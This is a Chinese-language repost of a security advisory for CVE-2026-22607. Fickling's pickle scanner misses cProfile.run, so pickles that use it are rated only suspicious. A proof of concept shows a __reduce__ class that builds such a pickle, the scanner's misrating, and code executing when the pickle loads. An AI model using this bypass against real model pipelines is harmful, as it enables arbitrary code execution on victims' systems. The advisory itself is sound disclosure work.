绕过Fickling安全检测:cProfile.run()模块的未拦截风险

本文详细分析了CVE-2026-22607漏洞,Fickling工具因未将Python的cProfile模块列入不安全导入黑名单,导致恶意Pickle文件可绕过安全检查并执行任意代码。文章包含漏洞原理、复现步骤及影响范围。

Fickling Blocklist Bypass: cProfile.run() · CVE-2026-22607

漏洞详情

: pip fickling (pip) 受影响版本: <= 0.1.6 已修复版本: 0.1.7

描述

Fickling 的评估

cProfile 已被添加到不安全导入列表 (trailofbits/fickling@dc8ae12)。

原始报告

描述

摘要 Fickling 0.1.6 及更早版本未将 Python 的 cProfile 模块视为不安全。因此,使用 cProfile.run() 的恶意 pickle 文件被归类为“可疑”(SUSPICIOUS)而非“明显恶意”(OVERTLY_MALICIOUS)。如果用户依赖 Fickling 的输出来决定 pickle 文件是否安全可反序列化,这种误分类可能导致他们在系统上执行攻击者控制的代码。这会影响任何使用 Fickling 作为 pickle 反序列化安全网关的工作流或产品。

详细信息 cProfile 模块缺失于 fickling/analysis.py 中 fickling 的不安全模块导入阻止列表。这与 CVE-2025-67748 (pty) 和 CVE-2025-67747 (marshal/types) 的根本原因相同。

问题源代码:

  • 文件: fickling/analysis.py
  • 类: UnsafeImports
  • 问题: 阻止列表未包含 cProfile、cProfile.run 或 cProfile.runctx

参考类似修复:

  • PR #187 将 pty 添加到阻止列表以修复 CVE-2025-67748
  • PR #108 记录了阻止列表方法
  • 应对 cProfile 应用相同的修复模式

绕过原理:

  • 攻击者使用 __reduce__ 中的 cProfile.run() 创建 pickle
  • cProfile.run() 接受 Python 代码字符串并直接执行(profile.run 的 C 加速版本)
  • Fickling 的 UnsafeImports 分析未将 cProfile 标记为危险
  • 只有 UnusedVariables 启发式规则被触发,导致结果为 SUSPICIOUS 严重等级
  • 该 pickle 应像 os.system、eval 和 exec 一样被评级为 OVERTLY_MALICIOUS

测试行为 (fickling 0.1.6):

函数 Fickling 严重等级 能否导致 RCE
os.system LIKELY_OVERTLY_MALICIOUS
eval OVERTLY_MALICIOUS
exec OVERTLY_MALICIOUS
cProfile.run SUSPICIOUS 是 ← 绕过
cProfile.runctx SUSPICIOUS 是 ← 绕过

建议的修复: 在 fickling/analysis.py 的不安全导入阻止列表中添加:

  • cProfile
  • cProfile.run
  • cProfile.runctx
  • _lsprof (底层 C 模块)

概念验证

完整的环境和配置复现步骤

环境:

  • Python 3.13.2
  • fickling 0.1.6 (最新版本,通过 pip 安装)

第 1 步:创建恶意 pickle

1
2
3
4
5
6
7
8
9
import pickle
import cProfile

class MaliciousPayload:
    def __reduce__(self):
        return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",))

with open("malicious.pkl", "wb") as f:
    pickle.dump(MaliciousPayload(), f)

第 2 步:使用 fickling 分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from fickling.fickle import Pickled
from fickling.analysis import check_safety

with open('malicious.pkl', 'rb') as f:
    data = f.read()

pickled = Pickled.load(data)
result = check_safety(pickled)
print(f"Severity: {result.severity}")
print(f"Analysis: {result}")

预期输出 (如果被正确检测到):

1
Severity: Severity.OVERTLY_MALICIOUS

实际输出 (绕过被确认):

1
2
Severity: Severity.SUSPICIOUS
Analysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file

第 3 步:通过加载 pickle 证明 RCE

1
python -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))"

输出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
CPROFILE_RCE_CONFIRMED
         4 function calls in 0.000 seconds

   Ordered by: standard name

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
        1    0.000    0.000    0.000    0.000 <string>:1(<module>)
        1    0.000    0.000    0.000    0.000 {built-in method builtins.exec}
        1    0.000    0.000    0.000    0.000 {built-in method builtins.print}
        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}

检查: 代码被执行,证明 RCE。

Pickle 反汇编 (证据):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    0: \x80 PROTO      5
    2: \x95 FRAME      58
   11: \x8c SHORT_BINUNICODE 'cProfile'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'run'
   27: \x94 MEMOIZE    (as 1)
   28: \x93 STACK_GLOBAL
   29: \x94 MEMOIZE    (as 2)
   30: \x8c SHORT_BINUNICODE "print('CPROFILE_RCE_CONFIRMED')"
   63: \x94 MEMOIZE    (as 3)
   64: \x85 TUPLE1
   65: \x94 MEMOIZE    (as 4)
   66: R    REDUCE
   67: \x94 MEMOIZE    (as 5)
   68: .    STOP
highest protocol among opcodes = 4

影响

漏洞类型:

  • 不完整的阻止列表导致安全检查绕过 (CWE-184)
  • 通过不安全的反序列化实现任意代码执行 (CWE-502)

受影响对象: 任何依赖 fickling 在加载前审查 pickle 文件安全性的用户或系统。包括:

  • ML 模型验证流水线
  • 模型托管平台 (Hugging Face, MLflow 等)
  • 使用 fickling 的安全扫描工具
  • 验证 pickle 制品的 CI/CD 流水线

攻击场景: 攻击者将恶意的 ML 模型或 pickle 文件上传到模型仓库。受害者的流水线使用 fickling 扫描上传文件。Fickling 将文件评级为“可疑”(SUSPICIOUS)(而非“明显恶意”(OVERTLY_MALICOUS)),因此文件未被拒绝。当受害者加载模型时,任意代码在其系统上执行。

为何 cProfile.run() 是危险的: 与需要磁盘上文件的 runpy.run_path() 不同,cProfile.run() 直接接受代码字符串。这意味着整个攻击都包含在 pickle 中,无需外部文件。Python 文档明确指出 cProfile.run() 接受“可以传递给 exec() 函数的单个参数”。cProfile 是 C 加速版本,比 profile 更常用。根据 Python 文档,它也是推荐的性能分析器(“cProfile 推荐给大多数用户”),因此几乎存在于所有 Python 安装中。

严重程度:高

  • 攻击者实现了任意代码执行
  • 安全控制 (fickling) 专门设计用于防止这种情况
  • 绕过除了用 cProfile 制作 pickle 外无需特殊条件
  • 攻击完全自包含(无需外部文件)
  • cProfile 比 profile 更常用,增加了攻击面

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计